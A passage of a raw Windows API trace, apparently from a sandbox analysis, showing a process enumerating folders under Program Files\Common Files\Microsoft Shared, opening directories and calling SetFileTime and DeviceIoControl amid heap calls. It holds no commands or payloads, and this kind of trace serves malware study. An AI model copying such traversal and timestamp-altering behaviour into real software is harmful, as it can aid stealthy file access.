RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.986] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.988] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.989] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.990] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.991] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.992] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9ae0 [0047.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeea418 [0047.994] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.995] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.996] GetLastError () returned 0x12 [0047.996] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.999] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0048.001] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.002] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0048.004] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0048.005] GetLastError () returned 0x12 [0048.005] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.006] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0048.008] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0048.034] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.035] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0048.036] GetLastError () returned 0x12 [0048.037] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0048.037] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0048.039] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0048.039] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0048.040] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="")) returned 1 [0048.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0048.042] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0048.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0048.053] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0048.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeec0e8 [0048.055] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeec0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xeec0e8, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0048.056] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeec0e8) returned 1 [0048.057] NtClose (Handle=0x178) returned 0x0 [0048.059] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0048.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0048.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0048.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0048.066] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0048.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeea520 [0048.067] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cb8 [0048.071] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.072] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0048.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0048.074] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0048.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0048.075] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0048.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0048.077] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0048.078] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0048.081] GetLastError () returned 0x12 [0048.082] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cf8 [0048.084] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0048.086] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.087] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0048.088] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0048.089] GetLastError () returned 0x12 [0048.090] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeea520) returned 1 [0048.090] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0048.092] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0048.092] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0048.092] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0048.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0048.094] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0048.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0048.102] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0048.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeec0e8 [0048.104] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeec0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xeec0e8, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0048.105] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeec0e8) returned 1 [0048.105] NtClose (Handle=0x17c) returned 0x0 [0048.107] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0048.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0048.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0048.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0048.109] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cf8 [0048.111] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.113] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0048.113] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0048.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.116] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.118] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.119] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.119] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0048.120] GetLastError () returned 0x12 [0048.121] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cb8 [0048.122] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0048.124] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.125] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0048.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.127] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0048.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0048.132] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0048.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeec0e8 [0048.134] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeec0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xeec0e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0048.136] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeec0e8) returned 1 [0048.137] NtClose (Handle=0x17c) returned 0x0 [0048.137] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0048.140] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0048.141] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.142] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0048.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0048.146] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0048.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0048.147] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0048.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0048.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0048.148] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9b00 [0048.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeea520 [0048.150] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0048.150] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, 